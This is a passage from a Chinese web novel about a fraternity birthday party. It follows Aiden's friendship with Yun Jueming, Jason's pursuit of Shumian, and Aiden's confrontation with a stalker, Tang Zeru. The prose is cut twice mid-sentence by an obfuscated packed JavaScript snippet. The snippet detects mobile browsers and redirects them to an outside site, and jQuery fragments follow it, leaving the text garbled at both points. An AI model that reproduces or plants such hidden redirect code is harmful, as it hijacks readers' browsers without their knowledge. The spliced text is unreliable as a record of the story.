“别告诉我杰森变卦了,”手机那头一接起,黎疏眠轻快的声音就响了起来,“因为我这儿可是有上百个女孩登记了要来参加你的生日派对,如果你取消了,我会被一群恼怒的姑娘追杀到天涯海角的。” “他没有变卦,”艾登叹了一口气,他倒宁愿杰森变卦呢,“他希望我能早点过去——很显然,有些人不愿意跟中国人一块派对。我没法拒绝这件事。” 云决明跟他提过一次,说疏眠已经知道他们一块搬到校外去住的事了,因此艾登也不拐弯抹角了。 不过,硬着头皮给疏眠打电话,请她邀请一些中国人来参加自己的生日派对,可以算得上是艾登这辈子做过的最尴尬的事情之一,与舔掉了从云决明脸上刮掉的甜粉齐驱并驾。当时,疏眠对这个提议很惊讶,连问了艾登好几次他为什么想要请中国人来玩,“你的派对上都是些盛气凌人的白人。”她犹豫地说道,“我不确定大家会在那么一个派对上玩得有多么开心。” “但是Ming也要去,”艾登心安理得地把杰森的理由据为己用,“就像你说的,如果派对上全是白人,他肯定不会玩得开心的。” “这是你过生日,还是他过生日?”疏眠调侃地问道。 “我过生日,但我希望每个来玩的人都有个愉快的夜晚,”其实除了Ming,他根本不在乎别人在这个派对上玩得开不开心,“再说了,平时中国人很少能收到这类派对的邀请,让那群白人看看我们华人也可以很酷,不是挺好的嘛。” “好好好,既然你都这么说了,这的确是个扩展华人社交圈,增强我们在学校里的种族影响力的机会,”疏眠说,“我会发邀请的。” “记得标明‘仅限女生’。”挂电话前,艾登有点无奈地加了一句。 他知道杰森的为人,知道他行事的风格。那两个守在兄弟会门外,确认宾客身份的新人成员得了杰森的吩咐,肯定不会让男生进入兄弟会宿舍的,与其到时候引起争执,还不如从一开始就避免矛盾的产生。 “喂?艾登?喂?” 黎疏眠的声音一下子把他拉回了现实中。 “嗯?” “你刚才说你要早点去兄弟会宿舍,然后呢?” “噢,对,我打来是想问问,生日那天能不能麻烦你顺路绕道我家接上Ming,他的车出了点问题,我不知道到我生日那天能不能修好。” “……他不能叫一辆优步吗?”疏眠哭笑不得地问了一句。 云决明的确可以。 但艾登想给他和疏眠一个独处的机会——尽管艾登一方面暗暗欣喜于云决明似乎没有要主动追求疏眠的意思,另一方面,他的理智也清楚地告诉自己,要是他真的是云决明的好兄弟,他就应该大度一些,甚至是想点办法撮合这两个人。 “Ming不喜欢坐陌生人的车,”他不可能把这种事告诉疏眠。便临时想了一个借口,反正疏眠也不会去问云决明这种事,“我和他租的公寓离学校不远,不会让你绕太多路的。你别告诉他是我拜托你来接他的,我会付给你油费的。” “油费倒没有必要,我也不介意这件事,”黎疏眠的语气听着有点犹豫,“只是,你的意思是要我主动向云决明提出载他一程?我不认为他会答应这种事,他看上去像那种不喜欢给别人添麻烦的人。” “他会答应的,相信我。” 保险起见,艾登还是在疏眠挂断以后,立刻询问了云决明的意见。 “我不需要她来接,”云决明的回答简直跟疏眠说的一模一样,而且语气还带着一点抗拒,“我不想给她添麻烦,我自己可以叫一辆优步。” 迫不得已,艾登只好又找了一个借口——反正云决明也不会把这种事情拿去跟疏眠分享,“我只是希望你们两个可以一块抵达兄弟会宿舍,”他劝道,“兄弟会里有个成员自不量力,想要追求疏眠。我不好阻拦他,免得他觉得我作为前男友太小气了,但是让他瞧见疏眠和一个中国男人从车上一起走下来,我就可以告诉他疏眠已经有约会对象了,让他知难而退。” 云决明用一种捉摸不透的眼神盯着他看了好几秒。 “好吧。”他不情不愿地说道,顿时让艾登觉得自己是不是有些多管闲事了,但话已出口,也没法收回去了。再说了,艾登那时暗自心想,让杰森看见他们两个从同一辆车上下来也好,可以给他一个清晰的信号,让他误认为疏眠对云决明也是有意思的,说不定就能打消他脑海中那些不切实际的念头。 然而,这会,瞧着刻意收束了西装的腰线,越发显得肩宽腿长,身形挺拔的杰森,艾登不由得对自己的设想产生了一丝怀疑——此时的杰森看起来更像是那种会直接买|凶|杀|人,干掉云决明的同时趁虚而入的男人,而不会潇洒的退居幕后。 “跟我们说说,今晚都会来些什么样的客人,”艾登坐下以后,杰森便递来了白酒杯——只有陈年的香槟才会需要空间更大的酒杯来苏醒——同时迫不及待地发问了,“有好些兄弟都想知道有哪些正点的货色会来——他们很少品尝东方的异域风味,如果你明白我在说什么的话。” 艾登实在讨厌这种把女性比喻为食物的对话,“我不清楚,”他淡淡地笑了笑,看着细微的气泡从酒杯壁缓缓升起,“不过,既然这是我的生日派对,任何我欢迎的客人,应该也都被你们所欢迎才对,不是吗?” 他的视线转而与杰森对上。 “疏眠会来,这是肯定的。她全权负责宾客名单,我没有过问。” 这句话引起了一阵小小的嘘声,在场的橄榄球队员和兄弟会成员都知道疏眠曾经是艾登的女朋友,有好几个人脸上甚至露出了暧昧的笑容。杰森很克制地抿了一口酒,没有作声,但艾登还是透过玻璃杯瞧见了他透出喜色的双眼。 “不过,有一个人,我不希望你们把她放进来。”他掏出手机,翻了一会,把一张从艾莉那儿得到的照片展示给了今晚会守在宿舍门口的两个新人成员,“这个中国女孩,她叫唐泽茹,记住她的脸,不要让她进入这间屋子,如果你们没能做到这一点,就不再是ADP兄弟会的成员了。” 由于疏眠直接在U大留学生群里发布了派对邀请,唐泽茹很轻易就能得知相关信息,艾登觉得有必要留个心眼。艾莉曾经提议过由她发一封威胁邮件过去,警告对方这个派对不欢迎她,但艾登不愿意给她留下这种把柄,因此打算采取跟不动声色拒她于门外的方式。 那两个男孩吓住了,他们接过艾登的手机,左看右看了一番。其中一个抬起头来,怯生生地开口问了一句为什么。 “艾登没必要告诉你们,”抢在他开口前,杰森拖长着声调说话了,他此刻后仰靠在沙发上的模样傲慢得就像某个中东的王子,“当我们叫你们做某件事的时候,你们不能问为什么,甚至不能问任何问题。你们是新人,而我们是被特别邀请加入兄弟会的荣誉成员,这一点就决定了你们必须一声不吭地完成我们交给你的任务,不管那听上去有多么离谱或者奇怪,听懂了吗?” 艾登深深地吸了一口气,才勉强压下去自己对杰森态度的严重不满。 只要再忍两个小时就好了,他心想。 不过,好在,杰森并没有一直在他身边晃悠。他从派对策划公司雇佣的工人之后抵达了兄弟会宿舍,他便离开前去监督他们的工作了。艾登吃惊地看着几十个工作人员抬着一座巨大无比的香槟冰雕走了进来,后面跟着的是数百个金光闪闪的气球,巨大的横幅,大大小小数不清的插花花瓶,一箱箱有着某个瓷器奢侈品牌标识的餐具,酒杯,刀叉,还有纯银的烛台,餐巾布,各式各样精美的桌面装饰等等,把兄弟会宿舍宽敞的前厅挤了个水泄不通。杰森还从来没有为他哪一次生日投入过这么多的金钱心力,很明显他根本不是为艾登,而是为疏眠而举办的。 不过,要说浪漫,杰森的举动确实也非常浪漫,同时也非常地“了不起的盖茨比”。艾登啼笑皆非地心想。要不是云决明对疏眠有意思,要不是杰森是个不折不扣的人渣,他倒还有几分可能支持这一对在一起。 随着夜幕降临,一部分兄弟会成员溜走了,还有一部分留下来看热闹。派对的开始时间还没到,就有一个接一个打扮得花枝招展的中国女生陆陆续续抵达了。她们当中有几个还穿着中国传统服饰汉服,尤其有古老东方的那种神秘韵味,让没离开的那群橄榄球队员和兄弟会成员看直了眼,不敢相信平时在学校里戴着眼镜,打扮朴素的亚裔女孩原来能这么可爱,不动声色注意到这一点的艾登不禁感到了几分得意。 不过,他能看出,这些女孩全是为了他才来参加这次的胜利派对,艾登不得不频频找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041225|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理由——“我得去一趟厕所”,“我看见一个朋友来了,让我去打个招呼”,或者是“我需要喝杯水”才能从一群一群围上来找他说话的女孩中脱身。不知道为什么,她们似乎都知道他能听得懂普通话和粤语,一直叽叽喳喳地用中文跟他说话,杰森租来的高音质音箱和特意找来的著名DJ不停地在艾登耳边轰炸着电音,导致他有一半的话都没听懂是什么意思,大部分时候只能僵着脸,用微笑和点头应付过去。 总算,七点过十五分的时候,他从客厅的大落地窗瞧见了疏眠那辆白色丰田开进了停车场,身穿着银色无袖旗袍的疏眠从车中迈出,她的头发烫成了复古的小卷,与明眸红唇形成了鲜明对比,美艳得不可方物——想到云决明适才在车中与她独处了十分钟的时间,艾登突然觉得有点不是滋味,心里头堵得慌。 他随便应付了几句,就丢下那帮缠着他打听“夏季训练辛不辛苦,什么时候可以开放给U大学生观看”的女生,跑出了宿舍去迎接云决明。 “你怎么没穿件外套?”一瞧见只套了件短袖衬衫的他,艾登就气急败坏地抱怨了起来,他也不知道这股无名的怒气是哪来的,“我明明提醒过你的,兄弟会宿舍里空调开得很冷——甚至比电影院还冷,你这样会冻感冒的。” 云决明神色古怪地瞥了一眼身旁的疏眠,艾登这才后知后觉自己不该在他喜欢的女孩面前这么说话,会让他丢脸。“我的意思是,”他生硬地转向了疏眠,假装自己刚才那句话是跟她说的,“如果你一会觉得冷的话,欢迎随时来找我要外套。” 疏眠挑了挑修得细细的眉毛,没搭话,她的视线直直地穿过了艾登的肩膀,落在他的身后,“晚上好,杰森。”她很平静地开口了,不仔细听,还难以察觉她话语中的讥讽,“看起来,派对很热闹呢。” 艾登回头一看,同样从屋子中追出来的杰森就站在屋子门口,为了塑造出一副冷酷而毫不在乎的模样不遗余力——一只手插在裤兜里,另一只手还握着酒杯,眼神冷峻无比,面无表情地瞧着面前三人。那两个守门的新人大约是被他打发走了,此刻都不见人影。 艾登敢拿他全套的珍藏版动漫手办收藏打赌,杰森一定看见了疏眠和云决明一同抵达的情形,他些微从裤子口袋边缘漏出的手背青筋毕露,落在云决明身上的眼神凶狠得像是能凭空吃了他。 “这没什么的,毕竟,这都是为了我的好朋友艾登。” 杰森淡然地开口了。 然而,艾登一听,就知道他此刻的低沉而又富有磁性的嗓音是故意装出来的,差点没忍住笑出声。 “从来没有一个中国留学生能成为ADP兄弟会的成员,我想,艾登肯定很高兴能把他们请来这儿,一同度过一个愉快的夜晚,好好感受一下这古老的美国传统——你们要进来吗?我开了一瓶09年的上等香槟,也许你们想品尝一下?” 如果说杰森这番话是想讨好疏眠,同时给云决明一个下马威的话,他简直失败得不能再失败了。疏眠的眉毛微微蹙起,满眼都写着不悦,她身旁的云决明则是一副幸灾乐祸的神色,似乎知道杰森即将吃瘪,“不必了,”她讥笑说道,“虽说我和Ming都来自有五千年悠久历史的中国,但我们都迫不及待想要体验一番‘古老的美国传统’,老实说,有这么‘激动人心’的活动摆在眼前,谁还需要香槟呢?” “很好,”听懂了疏眠的言外之意,恼羞成怒的杰森语气登时变得冰冷冷起来,“我不认为某些人能品尝得出好酒与超市9.99美金香槟的区别……不过,还是祝你们能度过一个愉快的夜晚。” 盯着他离去的背影,疏眠轻轻嗤笑了一声。艾登可以肯定杰森听见了她的笑声,因为他的步伐登时僵硬了起来。等疏眠也动身往屋子里走去,云决明才一把拉住了艾登的袖子——后者今天很明智地穿了一件帽衫外套,“你说的那个不自量力的兄弟会成员,不会就是杰森吧?”他小声问道。 “没错。”既然他看出来了,艾登也不想对他撒谎。 “我的天啊,”连一向内敛冷淡,波澜不惊的云决明也禁不住发出了一声惊呼,“这也太——我的意思是,自不量力根本没法用来形容——阴沟里的蛆想吃凤凰肉,这个形容还差不多。就是把会长和他两个人单独关在小黑屋里一百年,她也不可能喜欢上杰森。但——这怎么可能呢?杰森不是根本瞧不起除了白人以外的任何人种吗?” “我也不太清楚,”艾登耸了耸肩,“但这事就这么发生了——顺便说一句,他还不知道我已经知道了这件事,所以你也别露馅了。” “老实说,现在唯一能让我走进这间屋子的理由,就是这件事,”云决明现出了一丝微笑,“我简直迫不及待想看会长是怎么把他讥讽得哑口无言的样子了。” “不是因为这是我的生日吗?”艾登有些委屈地问道,难道云决明从此以后眼里就只有疏眠,没有自己了吗? “当然也有这个原因,艾登。”云决明安抚地拍了拍他的肩膀,但他的视线仍然跟随着走进兄弟会宿舍的疏眠而去。霎时间,艾登飞奔出门时的好心情在这一刻一落千丈,他闷闷不乐地跟在云决明身后走进了兄弟会宿舍,心想要是云决明打算整晚都待在疏眠身边的话,他还是别去打扰了。 49. Chapter·Twenty-Seven “疏眠在那儿。” 重又置身于喧闹的人群之中后,艾登给云决明指明了方向。黎疏眠就站在通往二楼的阶梯前,一头柔顺的黑发即便在昏暗的光线下也闪闪发亮,她肤色白皙,气质超群,穿的又是银白色的修身旗袍,衬得她一张巧笑倩兮的脸如皎月般,在人群中分外惹眼,已经吸引了七八个兄弟会的成员凑上去与她搭话,杰森也在其中,脸色黑得能用来为整个世界的星空染色,不耐烦地抱着双臂,恨恨地盯着每一个环绕在她身边的男人,只苦于没有借口上去揍他们一顿。 但云决明没搭话。艾登奇怪地向他看去,才发现他脸色苍白,额头上全是虚汗,肩膀在微微颤抖。“怎么了,Ming?”他关切地问道,“你不舒服吗?” “我没想到来了这么多人,”云决明轻声说,艾登得凑在他嘴边才能听清楚,可能是音乐太激烈的缘故,他的心跳一下子加快了不少,“我可能待上一会就走了。我不喜欢人多的地方。” “也好,”艾登说道,莫名地松了一口气,“需要我陪着你吗?” “不用了,你是这场派对的中心,去跟你的朋友们好好玩吧。”云决明轻轻推了推他,进入物质以前他还显得兴致盎然,这会却似乎恨不得立刻离开。 云决明答应来他的生日派对时答应得很爽快,只字没提他反感人多的地方,艾登之前只是以为他不爱热闹,没想到他会有这么严重的生理反应。“要不你直接回去吧,”艾登立刻说,愧疚于自己当初没多想想,“我不会介意的。” “这是你的生日,艾登,”云决明挤出一丝笑容,“怎么说我也要留一会,给你个面子,现在就走了,像什么样子?别管我了,你去玩吧。” 说到最后,他的语气变得很坚决。 艾登不想留下他一个人,更不觉得这个派对上除了云决明,有谁值得他在乎,可他也不想显得婆婆妈妈的,因此不得已地答应了。 他才离开没几步,就瞧见一个妆画得很浓,看着有点眼熟的女生领着六个年纪不大的女孩向他走来,“他就是艾登·维尔兰德,”这个女孩以一副与他十分熟稔的语气介绍着自己,可艾登根本想不起来她是谁,“艾登,这是我的朋友们,她们都很崇拜你呢。尤其是林珊珊——”其中一个看起来只有十七岁的女孩登时飞红了脸,羞涩地笑了起来,“——她因为你的缘故,已经决定要前来U大念书了。” 艾登拼命在脑海里回想着自己认识的华人女性,试图找到一个对得上的面庞,却无功而返。 也许她曾经与自己一起在大学上过某堂课。艾登心想,在他和云决明变得形影不离以前,有不少中国女孩都喜欢找他搭话,借笔记,问问题,其中有几个可能误以为自己就这么跟他成了朋友,偶尔在学校遇到还会激动地跟自己打招呼,艾登每次都报以微笑,转头就忘记了对方的长相。 然而,此刻在她的朋友面前,他又觉得不好戳破自己与对方并不是朋友的这个事实,让女孩子抹不开脸面,只得礼貌地笑了笑,“很高兴认识你,林珊珊,”他说道,主动伸出手与对方握了握,“你会喜欢U大这所学校的——它有许多优秀之处值得你选择,不只是单纯为了校橄榄球队的四分卫。” “谢谢你,”林珊珊激动得语无伦次,一会说中文一会说英文,艾登不知道自己说了什么让她突然感谢自己,“我不敢相信我居然亲眼见到了你,之前你的训练开放给公众参观的时候,我要上课,都没有办法过去……”她突然又转向引荐的那个眼熟女孩,咯咯地笑了起来,“谢谢你介绍艾登给我认识,天啊,在今天之前,我其实都不敢确定你们两个是真的认识——” “我怎么会撒谎呢?”那个眼熟的女孩用一种在艾登听来有些惺惺作态的娇音笑着说道,她今天穿了一条非常紧身的小黑裙,惹得一旁路过的好几个男人一直在偷偷瞄她。她接着又一一介绍了剩下的五个女孩,艾登正打算等她说完,就找个理由开溜,谁知道那女孩说完最后一个人的名字,话锋便陡然一转,“你们几个刚才一直嚷嚷着饿了,现在既然认识了艾登,就赶紧趁还没把肚子饿坏了,去吃点东西吧。瞧,自助餐桌就在那边呢。” 很明显这个女孩打算跟自己单独聊聊,才把同伴们都打发走,这时候找借口离开就太没礼貌了。艾登僵着脸,一边用目光在人群中寻找着云决明的身影,一边盘算着自己还要留多久才能显得自己并不是急于逃离这段对话。 “很抱歉,我一下子带着那么多女生拦住了你,”等同伴都走光了以后,女孩才娇娇柔柔地说道,“但是她们真的很想认识你,又没有足够的勇气开口,我希望你不会介意。” “不会。”艾登冲她微笑了一下。 “所以,这场生日派对算什么?”她抬头环视了一圈大厅,“杰森·埃弗里打算借这场派对,帮助你物色未来的维尔兰德夫人吗?” “当然不是,”艾登皱了皱眉头,“你怎么会有这种想法?” “黎疏眠在群里说这场派对只欢迎中国女生前往,任谁都会觉得这就像是童话里给王子甄选王妃的那种舞会吧。你知道的,就像灰姑娘里的那种,宰相把全城的漂亮姑娘都找来,让王子慢慢挑选,”她屈身倚靠在身后用来摆放礼物的长桌上,偏着头,眨巴着眼睛望着他。艾登敢说,她为了把这个姿势练得无比完美,确保能体现出她身材的每一条曲线,恐怕在镜子前练习了好几个小时,“这么说来,你确实很像一个王子呢,艾登。” 这句奉承让艾登的鸡皮疙瘩都起来了,“没有的事,”他有点不耐烦地说道,“我又不是这儿唯一的男人。” “可你是这儿唯一的华人男性,不是吗?”她娇笑了起来,艾登越看她越眼熟,但也许是因为她妆容太厚了,那长长的假睫毛几乎遮住了一半她的眼睛,派对上光线又极其昏暗,他始终想不起来她到底是谁,“这么形容也没错——你未来的妻子就很有可能在这儿,毕竟,谁都知道中国男人是不会找白人女孩结婚的,她们只能作为约会的对象,而不是未来贤惠的妻子。毕竟,她们有体臭,又喜欢滥交,价值观也完全不符合中国男人对妻子的期望——” 艾登不喜欢这场谈话的走向,“我不是这儿唯一的华人男性,”他的语气冷了下来,打断了她的话,“我的好朋友,云决明也在这儿——而且,请别再说这是什么王子选妃的现场了,这就是一场生日派对,我是为了不让我的朋友不自在,这一次才特意请了很多中国人过来。” 实际上这么提议的是杰森,但艾登不想惹出一堆诸如“杰森为什么要为云决明着想呢?谁都知道他是个种族主义者”之类的问题,干脆包揽到了自己头上。 “噢。” 可能是他的语气太刻薄了一点,女孩的神色立刻变了,眼里闪过一丝阴冷的光。 “听着,我今晚不会待很久,马上就要走了——”他后半句“所以我还得跟好几个朋友打声招呼”还没来得及说出口,裤兜里的手机就突然震动了一下。艾登掏出来一看,发现是云决明发来的消息,“我先回去了。” “我失陪一下。”他匆匆跟那个女孩说了一句,便拨通了云决明的电话。嘟嘟声没两下就被接了起来,“你在哪里?”正在人群里寻找着他的艾登焦急地问道。 “我在东南方向的角落里。”云决明听上去很虚弱,“怎么了?” “待在那别动,我来找你。” 艾登费了好一番劲,才挤到云决明所在的地方,他无精打采地坐在靠墙的一排椅子边上,蜷缩成一团,似乎极力想要避开与任何人接触。 艾登看得心疼极了。 他走上前,伸手刚想把云决明拉起来,就发现他的手指冰冷得可怕,像握住了刚从冰柜里拿出的小胡萝卜,便将自己的帽衫外套脱了下来,不由分说地裹在他身上。 “我不冷,”云决明固执地拒绝了,想要挣脱他的桎梏,“你还要在这儿待好一会呢,你比我更需要这件外套。” “嘿!”艾登东张西望了几秒,叫住了一个路过的兄弟会新人,“你冷吗?” 那人莫名其妙地看了艾登一眼,但可能是想起了之前杰森的训话,便恭恭敬敬地回答了一句,“不冷。” “把你的外套给我。” 对方顺从地将身上的黑色帽衫外套脱了下来,丢给艾登。“瞧,我也有外套了,”艾登说道,“别担心我,这是杰森的派对——他举办这场派对唯一的理由就是追求疏眠——不是我的派对,切完蛋糕,尽了义务,我就回去。” “我叫了一辆优步,但对方还要十五分钟才能过来。” “别管什么优步了,开我的车回去。”艾登不放心让一个陌生人送云决明回去,他在裤兜里摸了半天,没有摸到自己的车钥匙,才想起来他因为怕把钥匙弄丢,将它交给了那两个守门的新人,“我的车钥匙不在我这,在那两个门口的兄弟会成员手上,你等着我,我这就去拿回来。” “没关系,”云决明这时穿好了他的外套,连帽子也一并戴上了,“我可以自己跟他们要。” “你确定不需要我跟着你一起去?”艾登只想跟着云决明一块走,但是杰森为这个派对花了不少钱,他不能这么公然拂了对方的面子,无论如何也得待到唱生日歌的环节结束。 “这是你的派对,艾登,好好享受,别管我。” 我怎能不管你?这句话艾登说不出口,这已经是云决明第三次强调这句话了,怕是已经觉得他的担心有些让人厌烦了。他沉默地注视了云决明几秒,最终只是叹了一口气。 “你不喜欢人多的地方,怎么还答应来这场派对呢?” “这毕竟是你的生日嘛,总要赏点脸。”云决明从椅子上站了起来,他给出的这个理由只让艾登更加难过,“我把给你的礼物留在你的床头了,你一回去就能看到——” “那你回去的路上小心一点。”艾登的心已经飞回了家中,坐在床边兴奋地拆着云决明给他的礼物——另一头的长桌上摆满了上百个客人带来的包装精美的生日贺礼,但它们全部加起来都不及云决明要送给他的那个来得让艾登珍视和欢喜。 然而,他不能把这一点表露出来——至少在这么一个喧闹又充斥着刺鼻香水味的地方不行。因此他只是拍了拍云决明的肩膀,像个哥们一样叮嘱了一句。 揪心地目送着云决明小心翼翼地从人群中挤出去,艾登打定主意再也不会让他参加任何一个类似的活动了——可是,云决明那一次来看自己比赛是怎么忍受得了体育场里那么多人的?这个念头突然跳进了他的脑海中,但艾登没时间继续,他得找到杰森,跟他瞎掰一个说得过去的理由来解释自己为什么得提前离开。 找到他这个部分倒是不难,只要看疏眠在哪,他就在哪。 仗着过人的身高,他很快就锁定了杰森的位置——疏眠还在楼梯口前,身边环绕的男人更多了,犹如罗刹般面色狰狞的杰森站在不远处,时不时借着酒杯的掩护望上对方几眼,他身边也有几个女孩,但他正眼也没瞧她们一下。 冷不丁地,一个女孩突然拦住了艾登的去路,是适才那个看着有点眼熟的。 “这么急着又要去哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041226|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊,艾登,你好坏啊,把我一个人丢在那,有好几个男人过来搭讪我,让我有点害怕呢。”她娇羞地嗔怪了一句,“你说你要离开了,可我都没好好跟你说再见呢。” 艾登十分不快地瞪着她,就在这时,不知谁大喊了一句“茄子!”,接着就是一道闪光灯飞逝而过,把眼前这女孩的脸照得雪亮无比。猛然间,艾登记起了她是谁,他不敢相信自己竟然一直没把她认出来,还跟她说了那么多废话—— 唐泽茹。 “你是怎么绕过门口那两个人的?”他厉声问道,眼神中霎时透出的寒光清清楚楚地让她知道自己对她的憎恶。 “什么?”她慌乱地退后了一步,差点撞在别人的身上,她想要避开对方,却踉跄着扑向了艾登的怀中,他及时在她接近自己以前拦住了她,任何一点与她的肢体接触都让他觉得厌恶至极,“你到底在说什么,艾登?我们明明刚才聊的很开心,在讨论这场舞会,在说你未来的妻子——” “那是因为我当时还不知道你是谁,”艾登冷笑着说道,“唐泽茹,这是你的名字,没错吧?” 她不敢说话了,只是急促地呼吸着,咬着下唇,一双眼睛楚楚可怜地望着艾登,神色无辜,肩膀瑟缩成一团。可能会有男人对这一幕心软,但艾登绝不是其中一个。 他欺身接近了她,用自己平生使用过的最冷酷,最无情,也最严肃的语气,一字一顿地说道, “我很清楚你干了什么,唐小姐,这场派对不欢迎你,我也不欢迎你——实际上,你的所作所为令我感到极其恶心,我以后再也不想看见你出现在我的周围,鬼鬼祟祟地跟踪我,给我身边的人发威胁的信息。如果你不停止这些行为,我会报警,并且会对你给我,给我身边对于我来说极其重要的人造成的伤害诉诸以法律手段。我现在给你一个机会,只要你从现在起消失在我的生活中,我就既往不咎——” 唐泽茹的泪水从他开口说话的那一刻就汹涌流出,混合着模糊了的妆容一同落下,在脸上留下了数道黑痕,洗刷出了她原本斑驳的肤色。她的脸被羞愤及耻辱扭曲了,像条用过的肮脏毛巾一样拧成了一团,每一条脸上的肌肉都不受控制地抖动着,仿佛各自要朝不同的方向挣脱而去。她颤抖的双唇似乎在嗫嚅着什么,如同一条脱水的鱼,艾登只能从口型中判断出,她似乎是在不断地重复:“求求你了,不要。” 这一刻,她狼狈的如同一个被人丢弃在高速公路边的洋娃娃,灰头土脸,孤苦伶仃,似喝醉了一般不停地左右摇摆着身体——又或者是她全身颤抖得太厉害,看起来就像个不倒翁似的,没有哪条四肢听大脑使唤。她唯一还能控制的,似乎就剩下紧紧攥住裙边的两只手,她用的力气是那么大,艾登都能瞧见一丝血痕从她指缝间逸出。 然而,此刻哪怕她活生生地将她心剖出,艾登也不会多眨一下眼。 她伤害了云决明,伤害了疏眠,这是他绝不会轻易原谅的。 “我爱你,艾登,”忽然间,她不顾一切地抓住了艾登的手臂,仿佛是抓住了什么救命稻草。那滑腻的触感吓了他一大跳,唐泽茹的嗓音沙哑得像从一千根烟头中拽出来的一样,那双原本充斥着愤怒与痛苦的双眼里此刻只剩下令人心悸的偏执,“我爱你,我比这个世界上任何一个人都要更爱你,我可以为你去死,我可以为你付出一切。你不明白,我应该是你完美的妻子,我会成为你完美的妻子,事情不该是这样的,那些人都配不上你——” “我不想对女性使用暴力,”艾登打断了她的话,尽管他此刻无比想要狠狠地将她推开,脑子里仅余的一点理智还是阻止了他,“请你放开我。” “我爱你,艾登,为什么你就不能明白这一点呢?你再也找不到第二个比我更爱你的人了,我和你是天作之合,最完美的一对——你听我说,艾登,你一定得知道,我还是个处女,我跟你身边那些滥交随便的白人女孩不同,我和前任无数的黎疏眠不一样,我一直为你留着我自己的贞洁,这是我能给你的最宝贵,也是最贵重的生日礼物,没有别的女孩会为了你做到这一点,求求你了艾登,不要这么对我 ——”她越说越急,越说越快,内容也越来越不堪入耳。艾登再也按捺不住了,他使了点劲,把对方的手一把从自己胳膊上扒拉下去。“够了!”他低吼道。 这两个字像一巴掌一样,扇在了唐泽茹脸上,把她的恳求与颤抖打得无影无踪。她微微后退了一步,低下了头,视线胶着于脚尖间的那一小块空地,就仿佛艾登说话的刹那间,大地倏地崩裂,从此在他们中央震开一条永远不可跨越的深渊一般。 艾登刚想开口,就瞧见她的目光开始慢慢移向自己被指甲掐破的掌心,再慢慢移向自己,满脸不可置信,那双被闪粉和脏污包裹的双眼里只剩下了黑暗,无穷无尽的浓烈幽暗中涌动着疯狂的恨意,就如淬毒的碧绿匕首一样锋利骇人,艾登戒备地退了一步。 “我不想把事情闹得很难看,”周围已经有人注意到他们这儿的不对劲,朝他们望来了。艾登压低了自己声音,“你也不想被几个男人架着从这里被丢出去吧。识相点,就自己离开,再也不要出现了。” “我爱你,艾登,你必须明白这一点,我做任何事情,都是因为我对你的爱,不管别人跟你说了什么,你都不能相信。我是爱你的,我真的很爱你。”那双眼仍然愣愣地看着他,舌头舔了舔口红结块的嘴唇,唐泽茹干涩的嗓音继续重复着车轱辘话。 但艾登已经受够了。 “给我滚出去。” 他下了最后通牒,就转身离开了。 50. Chapter·Twenty-Eight 艾登是在剧烈的头痛中醒来的。 某个手机正发出极其刺耳的闹铃声,艾登从未听过那么喧闹的音乐,仿佛每个无形的音符都化为了有形的电钻,滋滋地往他四肢百骸中钻去。“闭嘴,艾莉!”他睡意朦胧地大吼着,感到头皮像缩水般紧紧箍在头骨上,压得他两侧太阳穴与后脑勺突突地跳着疼,他的半边脑子似乎成了一块从脚底板磨出的大水泡,任何一点小小的触碰,哪怕是在枕头上翻个身这样的动作,都会带来阵阵令人烦躁的疼痛。手机的铃声还在继续,“艾莉!关掉你那该死的闹钟!”他又怒吼了一声。 “闭嘴!他妈的!你吵死了!”不知从哪儿也传来了一道愤怒的男人声音,十分陌生,艾登浑身一震,大脑的某一部分陡然清醒过来,意识到他不可能在家里,他早就搬出去跟云决明一块居住了。 可他现在很显然也不在公寓里。 慢慢找回四肢的感觉,就像是个溺水的人好不容易捞着了自己用棉花做成的胳膊腿,然后费劲地将那沉重如铅块一般的零件往自己身上随意一按。艾登花了好几分钟的时间,才重新适应了自己的手臂的存在,勉力将自己的身体撑起来。离开枕头的刹那,刺眼的光线一下子拍在他脸上,艾登只觉得头晕目眩,缓了好一会才能微微睁开眼。 他这辈子还从来没有这么难受过。 响声来自于床底下的一台iPhone,套着粉红色带蕾丝边的手机壳,按键上还粘了一个圆形的猫爪,艾登眼前明一阵,暗一阵,时而模糊,时而清晰,但他还是想办法摸索到了关机键,狠狠地摁了几下,把那正声嘶力竭歌唱的hip-pop音乐关掉,再随手丢了出去。四周的银色墙纸与深灰色的长毛地毯看起来很眼熟,艾登迟缓地眨了眨眼,他已经知道这儿是哪了,却要好好想一想才能把答案从浆糊般的脑子里拽出来—— 兄弟会宿舍。 他伸手拉上床边的窗帘,遮住了敞开的窗户,在昏暗的光线中,艾登的眼睛总算能睁开了,他辨认出这是为高级成员准备的房间,不大,但有配套的大衣橱与盥洗室——这会,盥洗室的门就大开着,隐隐的呕吐物味道从那儿飘散过来,艾登实在不敢想象自己走进去会看见什么。 他没在这儿住过,不过倒是对这间房间很熟悉,杰森喜欢把他在Tinder上勾搭到的女孩带来这儿过夜——主要是因为他家曾经被一个一夜情女孩洗劫过,惹得他父亲大为震怒,这儿就成了杰森的第二爱巢,况且,这个房间的窗户外刚好连接着一楼的屋顶,方便杰森在不吵醒女伴的前提下溜走——他是怎么依靠这一点躲过了无数尴尬的早晨照面,艾登早就在他的吹嘘中见识了。 